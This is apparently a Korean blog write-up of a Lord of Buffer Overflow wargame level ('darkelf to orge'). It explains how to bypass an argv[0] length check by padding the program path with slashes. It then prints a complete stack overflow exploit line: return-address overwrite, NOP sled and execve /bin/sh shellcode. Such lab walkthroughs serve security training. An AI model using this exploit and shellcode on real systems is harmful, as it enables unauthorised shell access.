일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- kosis
- 써니나타스 1번
- 서니나타스
- 빅데이터
- argc
- R언어
- 쉘코드
- lob 10번
- lob
- 결측치
- ultra argv hunter
- 자료개방포털
- orge to troll
- pythonexe
- lob 9번
- pythoncli
- kostat
- IS함수
- mode함수
- troll to
- 데이터형
- 마크업 언어
- argv
- wolfman to darkelf
- 범용레지스터 #레지스터 #어셈블리 #ASM #리버싱 #어셈블리어 #EAX #ESP
- 써니나타스
- lob 7번
- pyinstaller
- anxi0
- 포너블
- Today
- Total
ANX1-Z3R0의 불안극복(不安克服)
008. darkelf to orge | anxi0 본문
darkelf to orge,
^ ogre (오우거])
철자가 다른걸 찾으면서 알았다.
뭐, 문제푸는덴 상관없으니 바로 한 번 가보자.
흐음..... argv[0]을 체크하네?
쉘에서 입력하는 명령어 부분이다.
쉽게 설명하면
./orge `python -c 'print "A"*44 ~~'`
저 부분이다.
저걸 77자로 만들어주면 되겠네?
그럼 무언가 실행할 때 ./ 로 실행을 하는데,
/ 는 무한히 늘어나도 실행이 잘 된다는 것을 알아야 한다.
.///////////////////////////////////////////orge 이렇게 돼도 된다.
따라서, 파이썬으로 간단하게
`python -c 'print "."+ "/"*72 + "orge"'` 표현할 수 있게 된다.
그것만 알았으면 뭐
끝났네
때려주자
고려할점
1. 실행 명령어 (argv[0] 체크)
- 파이썬으로 .////////////////////////////////////////////////////////////////////////orge 이렇게 되게 실행하면 되고
2. 에그헌터
- 환경변수 따윈 안 쓰고 그래서 ret 뒤에 써주면 되고
3. 영역별 체크 (argv[1] 체크)
- /xbf 뒤에 공백써주면 되고
4. 버퍼 헌터
- 이것도 버퍼 초기화니깐 ret 뒤에 써주면 되고
<- `python -c 'print "." + "/"*72 + "orge"'` `python -c 'print "A"*44 + "\xc8\xd8\xff\xbf " + "\x90"*10000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
코어를 보고 ret으로 때릴 주소를 찾는 과정은 이미 너무 많이 했기에 생략....^^
교훈
1. 조건을 나열해서 다 써먹는것이 중요하다
2. 공격을 해보기 전에 검수하자
3. 모르면 계속 해보자
'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글
010. troll to vampire | anxi0 (0) | 2019.02.19 |
---|---|
009. orge to troll | anxi0 (0) | 2019.02.19 |
007. wolfman to darkelf | anxi0 (0) | 2019.02.17 |
006. orc to wolfman | anxi0 (0) | 2019.02.17 |
005. goblin to orc | anxi0 (0) | 2019.02.17 |